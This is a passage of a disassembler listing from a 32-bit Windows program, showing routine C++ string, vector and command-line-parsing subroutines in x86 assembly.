retn sub_409AE0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409B10 proc near ; CODE XREF: sub_401988j arg_0 = dword ptr 4 mov al, byte_44916A push esi test al, al mov esi, ecx jz short loc_409B46 push edi nop call near ptr 28315F7h mov edi, dword_5118CC push 0FFFFFFF5h call edi push 0FFFFFFF4h mov [esi], eax call edi mov [esi+4], eax mov eax, [esp+8+arg_0] mov byte ptr [esi+8], 1 mov [esi+9], eax pop edi pop esi retn 4 ; --------------------------------------------------------------------------- loc_409B46: ; CODE XREF: sub_409B10+Aj mov ecx, [esp+4+arg_0] mov byte ptr [esi+8], 1 mov [esi+9], ecx pop esi retn 4 sub_409B10 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409B80 proc near ; CODE XREF: sub_401CEEj mov al, byte_44916A push esi test al, al mov esi, ecx jz short loc_409B9F nop call near ptr 283199Fh mov dword ptr [esi], 0FFFFFFFFh mov dword ptr [esi+4], 0FFFFFFFFh loc_409B9F: ; CODE XREF: sub_409B80+Aj mov byte ptr [esi+8], 0 pop esi retn sub_409B80 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409BC0 proc near ; CODE XREF: sub_40142Ej mov eax, ecx xor ecx, ecx mov dword ptr [eax], offset off_43F010 mov [eax+9], ecx mov [eax+11h], ecx mov [eax+4], cl mov [eax+0Dh], ecx retn sub_409BC0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_409BF0: ; CODE XREF: ___:00402081j ; ___:loc_40218Fj push esi mov esi, ecx call sub_401226 test byte ptr [esp+8], 1 jz short loc_409C08 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_409C08: ; CODE XREF: ___:00409BFDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409C20 proc near ; CODE XREF: sub_401870j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push ebx push esi mov esi, ecx xor ebx, ebx push eax mov dword ptr [esi], offset off_43F010 mov [esi+9], ebx mov [esi+11h], ebx call sub_4015E1 mov [esi+4], bl mov [esi+0Dh], ebx mov eax, esi pop esi pop ebx retn 4 sub_409C20 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409C60 proc near ; CODE XREF: sub_4014D3j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push ebx push esi mov esi, ecx xor ebx, ebx push eax mov dword ptr [esi], offset off_43F010 mov [esi+9], ebx mov [esi+11h], ebx call sub_401FDC mov [esi+4], bl mov [esi+0Dh], ebx mov eax, esi pop esi pop ebx retn 4 sub_409C60 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409CA0 proc near ; CODE XREF: sub_402112j var_10 = byte ptr -10h arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub esp, 10h push ebx push esi mov esi, ecx push eax lea ecx, [esp+1Ch+var_10] push offset dword_4447F4 push ecx mov dword ptr [esi], offset off_43F010 nop call near ptr word_5F67AE add esp, 0Ch lea edx, [esp+18h+var_10] xor ebx, ebx mov ecx, esi push edx mov [esi+9], ebx mov [esi+11h], ebx call sub_4015E1 mov [esi+4], bl mov [esi+0Dh], ebx mov eax, esi pop esi pop ebx add esp, 10h retn 4 sub_409CA0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409D10 proc near ; CODE XREF: sub_401226j push esi mov esi, ecx push edi xor edi, edi mov eax, [esi+9] mov dword ptr [esi], offset off_43F010 cmp eax, edi jz short loc_409D2C push eax call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_409D2C: ; CODE XREF: sub_409D10+11j mov eax, [esi+0Dh] mov [esi+9], edi cmp eax, edi jz short loc_409D3F push eax call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_409D3F: ; CODE XREF: sub_409D10+24j mov [esi+0Dh], edi mov [esi+11h], edi pop edi pop esi retn sub_409D10 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409D60 proc near ; CODE XREF: sub_4015E1j arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] mov esi, ecx test edi, edi jz short loc_409DCA or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov eax, [esi+9] not ecx dec ecx test eax, eax mov ebp, ecx jz short loc_409D8A push eax call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_409D8A: ; CODE XREF: sub_409D60+1Fj lea ebx, [ebp+2] push ebx call sub_437AEA ; --------------------------------------------------------------------------- db 8Bh dd 4C483F8h, 7E89FF85h, 8B2B7409h, 8BC033CBh, 116E89D1h dd 0F302E9C1h, 83CA8BABh, 0AAF303E1h, 8B11468Bh, 8B14244Ch dd 51500956h, 0C9E89052h, 837783DCh db 0C4h, 0Ch ; --------------------------------------------------------------------------- loc_409DCA: ; CODE XREF: sub_409D60+Cj pop edi pop esi pop ebp pop ebx retn 4 sub_409D60 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409E00 proc near ; CODE XREF: sub_401FDCj arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_4015E1 pop esi retn 4 sub_409E00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_409E30: ; CODE XREF: ___:00401A5Aj mov eax, [esp+4] sub esp, 10h push esi mov esi, ecx push eax lea ecx, [esp+8] push offset dword_4447F4 push ecx nop call near ptr word_5F67AE add esp, 0Ch lea edx, [esp+4] mov ecx, esi push edx call sub_4015E1 pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409E80 proc near ; CODE XREF: sub_401AAFj arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] mov ebx, ecx test edi, edi jz loc_409F12 or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov edi, [ebx+11h] not ecx dec ecx mov esi, ecx add esi, edi lea eax, [esi+1] push eax call sub_437AEA ; --------------------------------------------------------------------------- mov edi, [ebx+9] add esp, 4 test edi, edi mov ebp, eax jz short loc_409F12 or ecx, 0FFFFFFFFh xor eax, eax mov [ebx+11h], esi repne scasb not ecx sub edi, ecx mov edx, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov edi, [esp+10h+arg_0] or ecx, 0FFFFFFFFh repne scasb not ecx sub edi, ecx mov esi, edi mov edx, ecx mov edi, ebp or ecx, 0FFFFFFFFh repne scasb mov ecx, edx dec edi shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov eax, [ebx+9] test eax, eax jz short loc_409F0F push eax call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_409F0F: ; CODE XREF: sub_409E80+84j mov [ebx+9], ebp loc_409F12: ; CODE XREF: sub_409E80+Cj ; sub_409E80+36j pop edi pop esi pop ebp pop ebx retn 4 sub_409E80 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409F50 proc near ; CODE XREF: sub_4016C7j arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_401AAF pop esi retn 4 sub_409F50 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409F80 proc near ; CODE XREF: sub_401140j var_10 = byte ptr -10h arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub esp, 10h push esi mov esi, ecx push eax lea ecx, [esp+18h+var_10] push offset dword_4447F4 push ecx nop call near ptr word_5F67AE add esp, 0Ch lea edx, [esp+14h+var_10] mov ecx, esi push edx call sub_401AAF pop esi add esp, 10h retn 4 sub_409F80 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409FD0 proc near ; CODE XREF: sub_4012EEj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_409FE7 mov edx, [ecx+9] xor eax, eax test edx, edx setnz al pop esi retn 4 ; --------------------------------------------------------------------------- loc_409FE7: ; CODE XREF: sub_409FD0+7j mov eax, [ecx+9] push ebx loc_409FEB: ; CODE XREF: sub_409FD0+3Dj mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_40A016 test cl, cl jz short loc_40A00F mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_40A016 add eax, 2 add esi, 2 test cl, cl jnz short loc_409FEB loc_40A00F: ; CODE XREF: sub_409FD0+27j pop ebx xor eax, eax pop esi retn 4 ; --------------------------------------------------------------------------- loc_40A016: ; CODE XREF: sub_409FD0+23j ; sub_409FD0+33j sbb eax, eax pop ebx sbb eax, 0FFFFFFFFh pop esi retn 4 sub_409FD0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A040 proc near ; CODE XREF: sub_401B86j arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_4012EE pop esi retn 4 sub_40A040 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A070 proc near ; CODE XREF: sub_40150Aj arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jnz short loc_40A083 mov edx, [ecx+9] test edx, edx setnz al retn 4 ; --------------------------------------------------------------------------- loc_40A083: ; CODE XREF: sub_40A070+6j push eax mov eax, [ecx+9] push eax nop call near ptr 77C4624Eh add esp, 8 retn 4 sub_40A070 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A0B0 proc near ; CODE XREF: sub_4021D0j arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_4012EE pop esi retn 4 sub_40A0B0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A0E0 proc near ; CODE XREF: sub_401CD0j push esi mov esi, ecx mov eax, [esi+9] test eax, eax jz short loc_40A0F3 push eax call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_40A0F3: ; CODE XREF: sub_40A0E0+8j mov dword ptr [esi+9], 0 pop esi retn sub_40A0E0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A110 proc near ; CODE XREF: sub_40102Dj arg_2000 = dword ptr 2004h arg_2004 = dword ptr 2008h arg_2008 = byte ptr 200Ch mov eax, 2000h call sub_437B30 mov eax, [esp+arg_2004] test eax, eax jz short loc_40A152 lea ecx, [esp+arg_2008] lea edx, [esp+0] push ecx push eax push 2000h push edx nop call near ptr 77C3FF8Ah mov ecx, [esp+10h+arg_2000] add esp, 10h lea eax, [esp+0] push eax call sub_4015E1 loc_40A152: ; CODE XREF: sub_40A110+13j add esp, 2000h retn sub_40A110 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A180 proc near ; CODE XREF: sub_401D34j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401316 retn 4 sub_40A180 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A1A0 proc near ; CODE XREF: sub_401316j arg_0 = byte ptr 4 push ebx mov ebx, dword_511AEC push esi push edi movsx edi, [esp+0Ch+arg_0] mov esi, ecx push edi mov eax, [esi+9] push eax call ebx add esp, 8 test eax, eax jnz short loc_40A1C4 pop edi pop esi pop ebx retn 8 ; --------------------------------------------------------------------------- loc_40A1C4: ; CODE XREF: sub_40A1A0+1Cj mov ecx, [esi+9] push edi push ecx call ebx mov edi, [esi+9] add esp, 8 mov edx, 1 sub edx, edi pop edi pop esi add eax, edx pop ebx retn 8 sub_40A1A0 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A1F0 proc near ; CODE XREF: sub_4018B1j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401816 retn 4 sub_40A1F0 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A210 proc near ; CODE XREF: sub_401816j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, ecx push eax mov ecx, [esp+8+arg_0] call sub_401389 push eax mov ecx, esi call sub_402135 pop esi retn 8 sub_40A210 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A240 proc near ; CODE XREF: sub_4013EDj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_402135 retn 4 sub_40A240 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A260 proc near ; CODE XREF: sub_402135j arg_0 = dword ptr 4 push ebx push esi push edi mov edi, [esp+0Ch+arg_0] test edi, edi mov esi, ecx jnz short loc_40A275 pop edi pop esi xor eax, eax pop ebx retn 8 ; --------------------------------------------------------------------------- loc_40A275: ; CODE XREF: sub_40A260+Bj mov eax, [esi+9] mov ebx, dword_511B04 push edi push eax call ebx add esp, 8 test eax, eax jnz short loc_40A28F pop edi pop esi pop ebx retn 8 ; --------------------------------------------------------------------------- loc_40A28F: ; CODE XREF: sub_40A260+27j mov ecx, [esi+9] push edi push ecx call ebx mov edi, [esi+9] add esp, 8 mov edx, 1 sub edx, edi pop edi pop esi add eax, edx pop ebx retn 8 sub_40A260 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A2D0 proc near ; CODE XREF: sub_401C71j arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx test edi, edi jnz short loc_40A2E3 pop edi xor eax, eax pop esi retn 4 ; --------------------------------------------------------------------------- loc_40A2E3: ; CODE XREF: sub_40A2D0+Aj mov eax, [esi+9] mov [esi+11h], edi test eax, eax jz short loc_40A2F6 push eax call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_40A2F6: ; CODE XREF: sub_40A2D0+1Bj push ebx lea ebx, [edi+1] push ebx call sub_437AEA sub_40A2D0 endp ; --------------------------------------------------------------------------- mov ecx, ebx mov edi, eax mov edx, ecx xor eax, eax shr ecx, 2 mov [esi+9], edi add esp, 4 rep stosd mov ecx, edx pop ebx and ecx, 3 rep stosb mov eax, [esi+9] pop edi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A350 proc near ; CODE XREF: sub_4013E3j mov eax, [ecx+11h] retn sub_40A350 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A370 proc near ; CODE XREF: sub_4012B2j var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch push 0FFFFFFFFh push offset SEH_40A370 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 20h push ebp mov ebp, [esp+30h+arg_8] push esi xor esi, esi cmp ebp, 1 mov [esp+34h+var_2C], ecx mov [esp+34h+var_28], esi jge short loc_40A3C2 mov esi, [esp+34h+arg_0] push offset byte_448F40 mov ecx, esi call sub_401870 mov eax, esi pop esi pop ebp mov ecx, [esp+2Ch+var_C] mov large fs:0, ecx add esp, 2Ch retn 0Ch ; --------------------------------------------------------------------------- loc_40A3C2: ; CODE XREF: sub_40A370+2Bj push ebx push edi lea ecx, [esp+3Ch+var_24] call sub_40142E mov [esp+3Ch+var_4], esi lea esi, [ebp+1] push esi call sub_437AEA sub_40A370 endp ; --------------------------------------------------------------------------- mov ecx, esi mov ebx, eax mov edx, ecx xor eax, eax mov edi, ebx add esp, 4 shr ecx, 2 rep stosd mov ecx, edx mov edx, [esp+44h] and ecx, 3 push ebx rep stosb mov eax, [esp+14h] mov ecx, ebp mov edi, ebx mov esi, [eax+9] add esi, edx mov edx, ecx shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb lea ecx, [esp+1Ch] call sub_4015E1 push ebx call sub_437AD2 ; --------------------------------------------------------------------------- mov esi, [esp+44h] add esp, 4 lea eax, [esp+18h] mov ecx, esi push eax call sub_4014D3 lea ecx, [esp+18h] call sub_401226 mov ecx, [esp+30h] pop edi mov eax, esi pop ebx pop esi pop ebp mov large fs:0, ecx add esp, 2Ch retn 0Ch ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A4A0 proc near ; CODE XREF: sub_401E47j var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push esi push edi mov esi, ecx mov [esp+0Ch+var_4], 0 call sub_4013E3 mov ecx, [esp+0Ch+arg_4] mov edi, [esp+0Ch+arg_0] sub eax, ecx push eax push ecx push edi mov ecx, esi call sub_4012B2 mov eax, edi pop edi pop esi pop ecx retn 8 sub_40A4A0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40A4E0: ; CODE XREF: ___:0040194Cj push ecx push esi mov esi, [esp+0Ch] push 1 mov ecx, esi mov dword ptr [esp+8], 0 call sub_402112 mov eax, esi pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A510 proc near ; CODE XREF: sub_4011EAj var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0FFFFFFFFh push offset SEH_40A510 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi mov edi, [esp+44h+arg_8] mov esi, ecx test edi, edi mov [esp+44h+var_38], 0 jnz short loc_40A551 mov esi, [esp+44h+arg_0] push offset byte_448F40 mov ecx, esi call sub_401870 jmp loc_40A684 ; --------------------------------------------------------------------------- loc_40A551: ; CODE XREF: sub_40A510+2Aj lea eax, [esp+44h+arg_8] lea ecx, [esp+44h+var_34] push eax call sub_40169A mov ecx, [esi+9] mov [esp+44h+var_4], 1 push ecx lea ecx, [esp+48h+var_24] call sub_401870 lea ecx, [esp+44h+var_24] mov byte ptr [esp+44h+var_4], 2 call sub_4014DD mov [esp+44h+var_3C], eax mov cl, [eax] test cl, cl jz loc_40A635 push ebx loc_40A591: ; CODE XREF: sub_40A510+11Ej mov dl, [edi] cmp cl, dl jnz short loc_40A5A0 loc_40A597: ; CODE XREF: sub_40A510+8Ej inc eax mov [esp+48h+var_3C], eax cmp [eax], dl jz short loc_40A597 loc_40A5A0: ; CODE XREF: sub_40A510+85j cmp byte ptr [eax], 22h setz bl test bl, bl jz short loc_40A5AF inc eax mov [esp+48h+var_3C], eax loc_40A5AF: ; CODE XREF: sub_40A510+98j lea edx, [esp+48h+var_3C] lea ecx, [esp+48h+var_34] push edx call sub_401997 mov eax, [esp+48h+var_3C] test bl, bl mov cl, [eax] jz short loc_40A5FF test cl, cl jz short loc_40A5E7 loc_40A5CB: ; CODE XREF: sub_40A510+D5j cmp cl, 22h jnz short loc_40A5DC mov cl, [eax+1] cmp cl, 20h jz short loc_40A5E7 test cl, cl jz short loc_40A5E7 loc_40A5DC: ; CODE XREF: sub_40A510+BEj inc eax mov [esp+48h+var_3C], eax mov cl, [eax] test cl, cl jnz short loc_40A5CB loc_40A5E7: ; CODE XREF: sub_40A510+B9j ; sub_40A510+C6j ... cmp byte ptr [eax], 0 jz short loc_40A62A mov byte ptr [eax], 0 mov eax, [esp+48h+var_3C] mov cl, [eax+1] test cl, cl jz short loc_40A62A add eax, 2 jmp short loc_40A626 ; --------------------------------------------------------------------------- loc_40A5FF: ; CODE XREF: sub_40A510+B5j test cl, cl jz short loc_40A614 mov dl, [edi] loc_40A605: ; CODE XREF: sub_40A510+102j cmp cl, dl jz short loc_40A614 inc eax mov [esp+48h+var_3C], eax mov cl, [eax] test cl, cl jnz short loc_40A605 loc_40A614: ; CODE XREF: sub_40A510+F1j ; sub_40A510+F7j mov cl, [eax] test cl, cl jz short loc_40A62A cmp cl, [edi] jnz short loc_40A62A mov byte ptr [eax], 0 mov eax, [esp+48h+var_3C] inc eax loc_40A626: ; CODE XREF: sub_40A510+EDj mov [esp+48h+var_3C], eax loc_40A62A: ; CODE XREF: sub_40A510+DAj ; sub_40A510+E8j ... mov cl, [eax] test cl, cl jnz loc_40A591 pop ebx loc_40A635: ; CODE XREF: sub_40A510+7Aj lea ecx, [esp+44h+var_34] call sub_4011F9 mov ecx, [esp+44h+arg_4] cmp ecx, eax jb short loc_40A64D push offset byte_448F40 jmp short loc_40A65A ; --------------------------------------------------------------------------- loc_40A64D: ; CODE XREF: sub_40A510+134j push ecx lea ecx, [esp+48h+var_34] call sub_401F82 mov eax, [eax] push eax loc_40A65A: ; CODE XREF: sub_40A510+13Bj mov esi, [esp+48h+arg_0] mov ecx, esi call sub_401870 lea ecx, [esp+44h+var_24] mov [esp+44h+var_38], 1 call sub_401226 lea ecx, [esp+44h+var_34] mov byte ptr [esp+44h+var_4], 0 call sub_401596 ; --------------------------------------------------------------------------- loc_40A684: ; CODE XREF: sub_40A510+3Cj mov ecx, [esp+44h+var_C] mov eax, esi pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn 10h sub_40A510 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A710 proc near ; CODE XREF: sub_4016B8j var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ecx mov eax, [esp+4+arg_8] mov edx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] push 0 push eax push edx push esi mov [esp+18h+var_4], 0 call sub_4011EA mov eax, esi pop esi pop ecx retn 0Ch sub_40A710 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A750 proc near ; CODE XREF: sub_40202Cj arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_4015E1 pop esi retn 4 sub_40A750 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A780 proc near ; CODE XREF: sub_401A9Bj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4015E1 retn 4 sub_40A780 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A7A0 proc near ; CODE XREF: sub_401479j arg_0 = dword ptr 4 mov eax, [ecx+9] mov ecx, [esp+arg_0] add eax, ecx retn 4 sub_40A7A0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40A7C0: ; CODE XREF: ___:004014A6j mov eax, [ecx+9] mov ecx, [esp+4] add eax, ecx retn 4 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A7E0 proc near ; CODE XREF: sub_401389j mov eax, [ecx+9] retn sub_40A7E0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A800 proc near ; CODE XREF: sub_4017EEj mov eax, [ecx+9] retn sub_40A800 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A820 proc near ; CODE XREF: sub_4014DDj mov eax, [ecx+9] retn sub_40A820 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A840 proc near ; CODE XREF: sub_40169Aj arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov dl, [ecx] xor ecx, ecx mov [eax], dl mov [eax+4], ecx mov [eax+8], ecx mov [eax+0Ch], ecx retn 4 sub_40A840 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40A870 proc near ; CODE XREF: sub_401596j push esi mov esi, ecx mov eax, [esi+8] mov ecx, [esi+4] push eax push ecx mov ecx, esi call sub_4019B5 mov eax, [esi+4] mov edx, [esi+0Ch] sub edx, eax mov ecx, esi sar edx, 2 push edx push eax call sub_4011EF sub_40A870 endp ; --------------------------------------------------------------------------- xor eax, eax loc_40A898: ; DATA XREF: ___:0044654Co ; ___:00446590o ... mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A8C0 proc near ; CODE XREF: sub_4011F9j mov edx, [ecx+4] test edx, edx jnz short loc_40A8CA xor eax, eax retn ; --------------------------------------------------------------------------- loc_40A8CA: ; CODE XREF: sub_40A8C0+5j mov eax, [ecx+8] sub eax, edx sar eax, 2 retn sub_40A8C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A8F0 proc near ; CODE XREF: sub_401F82j arg_0 = dword ptr 4 push esi push edi mov esi, ecx call sub_4011F9 mov edi, [esp+8+arg_0] cmp eax, edi ja short loc_40A908 mov ecx, esi call sub_401F05 loc_40A908: ; CODE XREF: sub_40A8F0+Fj mov ecx, esi call sub_401D2F lea eax, [eax+edi*4] pop edi pop esi retn 4 sub_40A8F0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A930 proc near ; CODE XREF: sub_401997j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_401659 push eax mov ecx, esi call sub_4016F9 pop esi retn 4 sub_40A930 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A960 proc near ; CODE XREF: sub_401D2Fj mov eax, [ecx+4] retn sub_40A960 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A980 proc near ; CODE XREF: sub_401659j mov eax, [ecx+8] retn sub_40A980 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A9A0 proc near ; CODE XREF: sub_4016F9j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, ecx call sub_401D2F mov edx, [esp+8+arg_4] mov ecx, eax mov eax, [esp+8+arg_0] push edx mov esi, eax push 1 sub esi, ecx push eax mov ecx, edi sar esi, 2 call sub_4013D9 mov ecx, edi call sub_401D2F lea eax, [eax+esi*4] pop edi pop esi retn 8 sub_40A9A0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A9F0 proc near ; CODE XREF: sub_4019B5j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] push edi cmp esi, ebx mov edi, ecx jz short loc_40AA10 loc_40AA01: ; CODE XREF: sub_40A9F0+1Ej push esi mov ecx, edi call sub_4018C0 add esi, 4 cmp esi, ebx jnz short loc_40AA01 loc_40AA10: ; CODE XREF: sub_40A9F0+Fj pop edi pop esi pop ebx retn 8 sub_40A9F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40AA30: ; CODE XREF: sub_401F05j push 0FFFFFFFFh push offset loc_439DB9 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h lea eax, [esp+3] lea ecx, [esp+4] push eax push offset aInvalidVectorT ; "invalid vector<T> subscript" call near ptr 76081F67h nop lea ecx, [esp+4] mov dword ptr [esp+38h], 0 push ecx lea ecx, [esp+18h] nop call near ptr 760A0430h lea edx, [esp+14h] push offset dword_440088 push edx call sub_437B22 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn 